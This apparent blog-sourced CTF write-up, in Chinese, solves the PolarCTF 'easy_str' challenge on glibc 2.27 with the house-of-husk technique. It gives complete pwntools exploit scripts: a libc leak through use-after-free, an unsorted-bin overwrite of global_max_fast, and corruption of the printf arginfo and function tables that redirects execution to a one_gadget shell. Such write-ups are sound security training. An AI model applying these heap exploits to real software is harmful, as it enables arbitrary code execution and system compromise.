web选手入门pwn(16) ——house of husk

16.    easy_str (house of husk)
libc-2.27.so,标准large bin attack。

https://www.polarctf.com/#/page/challenges

web选手入门pwn(16) ——house of husk

很简单的增删改查,chunk_list在栈上。
看add(),v5限制了5个chunk,大小限制了>=0x500,也就是没有fastbin,只有largebin。
看free(),显然没有清除指针,UAF无疑。甚至也没有v5-1,所以这题只有5个chunk。add 5次之后,即使全部free也无法新增新的chunk了。
然后就是有个LABEL_17,只有free和exit才能触发。而代码是看似无用的printf(“%X”, 0LL);
这个就是明显的提示需要用house of husk。这条链子满足只能用largebin,和用printf触发。
https://www.anquanke.com/post/id/202387

libc是2.27,但是全部是largebin,不满足tcache的进入条件,所以全程都不需要考虑tcache的问题。
既然是UAF,先来最简单的unsortedbin泄露libc。

from pwn import *

context.log_level = 'debug'context.arch='amd64'#patchelf --set-interpreter /home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so easy_str#patchelf --set-rpath /home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ easy_str
sh = gdb.debug("./easy_str","b *0x555555554bc7nc")#sh = process("./easy_str")#sh = remote('120.X.X.X',2094)
elf = ELF("./easy_str")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")#libc = ELF("./libc-2.27.so")
libc_malloc_hook = libc.sym['__malloc_hook']libc_main_arena = libc_malloc_hook + 0x10libc_main_arena_N = libc_malloc_hook + 0x70
def add(size): sh.sendlineafter("choice:","1") sh.sendlineafter("size:",str(size))
def edit(index, content="AAAA"): sh.sendlineafter("choice:","2") sh.sendlineafter("id:",str(index)) sh.send(content)
def show(index): sh.sendlineafter("oice:","3") sh.sendlineafter("id:",str(index))
def free(index): sh.sendlineafter("choice:","4") sh.sendlineafter("id:",str(index))
#0x555555554b2b add malloc#0x555555554bd9 show puts#0x555555554b8d edit read
add(0x500)#c0add(0x500)#c1
free(0)show(0)addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")print(hex(addr_main_arena_N))addr_libc_base = addr_main_arena_N - libc_main_arena_Nprint(hex(addr_libc_base))
sh.interactive()

web选手入门pwn(16) ——house of husk

泄露heap呢?只需要弄两个不相邻的chunk进行free,做双向链表即可。

add(0x500)#c0add(0x500)#c1add(0x500)#c2add(0x500)#c3free(0)free(2)show(2)

web选手入门pwn(16) ——house of husk

web选手入门pwn(16) ——house of husk

当然,show(0)也可以,只不过0x7ffff7dcfca0有x00,用edit填充8个A即可。

除此之外,也可以做largebin,同理也要edit填充16个A。

add(0x500)#c0add(0x500)#c1free(0)add(0x600)#c2show(0)

web选手入门pwn(16) ——house of husk

使用fastbin劫持malloc_hook_addr-0x23我们已经非常熟练了。这题没有fastbin,能用unsortedbin劫持吗?
unsortedbin也可以做类似的攻击,但不能决定写入的值是多少,而是固定的addr_main_arena_N。并且写入之后unsortedbin链表会被破坏,导致无法再add chunk。
先看正常的add()free()add()

add(0x500)#c0add(0x500)#c1free(0)show(0)

web选手入门pwn(16) ——house of husk

add(0x500)#c2

web选手入门pwn(16) ——house of husk


如果我们将bk给篡改成global_max_fast,会怎么样呢。

libc_global_max_fast =  libc.sym['__malloc_initialize_hook'] +  0x50
add(0x500)#c0add(0x500)#c1free(0)show(0)addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")print(hex(addr_main_arena_N))addr_libc_base = addr_main_arena_N - libc_main_arena_Nprint(hex(addr_libc_base))

web选手入门pwn(16) ——house of husk

edit(0,p64(addr_main_arena_N) + p64(addr_libc_base + libc_global_max_fast - 0x10))add(0x500)#c2

web选手入门pwn(16) ——house of husk

可以看到global_max_fast被成功篡改,但unsortedbin似乎并没有free(),此时再次add(0x500),就会报错了。

修改global_max_fast有什么用呢?它是释放chunk时判断chunk大小是否属于fastbin的标志,默认为0x80。unsortedbin攻击无法控制写入的值,所以用来篡改它正好将其篡改成一个很大的正数,至此,再free()任何chunk都将进入fastbin。

add(0x500)#c0add(0x500)#c1add(0x500)#c2add(0x500)#c3free(0)show(0)addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")print(hex(addr_main_arena_N))addr_libc_base = addr_main_arena_N - libc_main_arena_Nprint(hex(addr_libc_base))
edit(0,p64(addr_main_arena_N) + p64(addr_libc_base + libc_global_max_fast - 0x10))add(0x500)#c4
free(1)free(3)

web选手入门pwn(16) ——house of husk

可以看到,虽然gdb的heap插件无法帮我们分辨出来c1和c2,但0x500大小的chunk,free后只形成了单向链表,以此可以确定它们确实进入了fastbin。
free任意大小的chunk都可以进fastbin有什么用呢?答案是可以向main_arena+N写入chunk地址。

web选手入门pwn(16) ——house of husk

N=648,这个N怎么算出来的呢?
答案是0x500 = 648 * 2 – 0x10。
也就是说要往main_arena+N写chunk地址,就free一个N * 2 – 0x10大小的chunk就行了。

那么如何getshell呢?这就要利用到__printf_arginfo_table和__printf_function_table了,它们的libc地址和global_max_fast一样,要用附近的函数偏移出来。

libc_global_max_fast =  libc.sym['__malloc_initialize_hook'] +  0x50libc_printf_function_table =  libc.sym['mallwatch'] - 0x18libc_printf_arginfo_table =  libc.sym['_IO_2_1_stdout_'] + 0x110

查看vfprintf.c源码。
其中__printf_function_table是为了过检测走到printf_positional()。

web选手入门pwn(16) ——house of husk

web选手入门pwn(16) ——house of husk

printf_positional调__parse_one_specmb

web选手入门pwn(16) ——house of husk

__parse_one_specmb执行了(*__printf_arginfo_table[spec->info.spec])

web选手入门pwn(16) ——house of husk

也就是说,我们篡改__printf_arginfo_table为chunk地址,最终就能走到这个chunk里的某个指针处。
我们先尝试篡改__printf_arginfo_table和__printf_function_table。很简单,提前add两个符合N*2-0x10大小的chunk,然后篡改global_max_fast,再依次free这两个chunk。

add(0x500)#c0c1size = (libc_printf_function_table - libc_main_arena) * 2 - 0x10add(c1size)#c1c2size = (libc_printf_arginfo_table - libc_main_arena) * 2 - 0x10add(c2size)#c2add(0x500)#c3
free(0)show(0)addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")print(hex(addr_main_arena_N))addr_libc_base = addr_main_arena_N - libc_main_arena_Nprint(hex(addr_libc_base))
edit(0,p64(addr_main_arena_N) + p64(addr_libc_base + libc_global_max_fast - 0x10))add(0x500)#c4
free(2)free(1)

web选手入门pwn(16) ——house of husk

spec->info.spec具体是多少呢?跟printf(“%X”, 0LL);的X有关。我们可以用笨办法——规律字符串找出来。

web选手入门pwn(16) ——house of husk

print(cyclic_find(0x67616177))后发现是688,那么完整exp如下。

from pwn import *
context.log_level = 'debug'context.arch='amd64'#patchelf --set-interpreter /home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so easy_str#patchelf --set-rpath /home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ easy_str
#sh = gdb.debug("./easy_str","b *0x555555554bc7nc")sh = process("./easy_str")#sh = remote('120.X.X.X',2094)
elf = ELF("./easy_str")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")#libc = ELF("./libc-2.27.so")
libc_malloc_hook = libc.sym['__malloc_hook']libc_main_arena = libc_malloc_hook + 0x10libc_main_arena_N = libc_malloc_hook + 0x70libc_global_max_fast = libc.sym['__malloc_initialize_hook'] + 0x50libc_printf_function_table = libc.sym['mallwatch'] - 0x18libc_printf_arginfo_table = libc.sym['_IO_2_1_stdout_'] + 0x110

def add(size): sh.sendlineafter("choice:","1") sh.sendlineafter("size:",str(size))
def edit(index, content="AAAA"): sh.sendlineafter("choice:","2") sh.sendlineafter("id:",str(index)) sh.send(content)
def show(index): sh.sendlineafter("oice:","3") sh.sendlineafter("id:",str(index))
def free(index): sh.sendlineafter("choice:","4") sh.sendlineafter("id:",str(index))
#0x555555554b2b add malloc#0x555555554bd9 show puts#0x555555554b8d edit read
add(0x500)#c0c1size = (libc_printf_function_table - libc_main_arena) * 2 - 0x10add(c1size)#c1c2size = (libc_printf_arginfo_table - libc_main_arena) * 2 - 0x10add(c2size)#c2add(0x500)#c3
free(0)show(0)addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")print(hex(addr_main_arena_N))addr_libc_base = addr_main_arena_N - libc_main_arena_Nprint(hex(addr_libc_base))one = [0x4f2c5,0x4f322,0x10a38c]#one = [0x4f2a5,0x4f302,0x10a2fc]
#edit(2,cyclic(1000))#print(cyclic_find(0x67616177))edit(2,"A" * 688 + p64(addr_libc_base + one[2]))
edit(0,p64(addr_main_arena_N) + p64(addr_libc_base + libc_global_max_fast - 0x10))add(0x500)#c4
free(2)free(1)
sh.interactive()

web选手入门pwn(16) ——house of husk

最后这个spec->info.spec = 688怎么来的,其实就是根据X=0x58,(0x58 – 2) * 8=688。


原文始发于微信公众号(珂技知识分享):web选手入门pwn(16) ——house of husk

版权声明:admin 发表于 2024年7月1日 下午6:03。
转载请注明:web选手入门pwn(16) ——house of husk | CTF导航

相关文章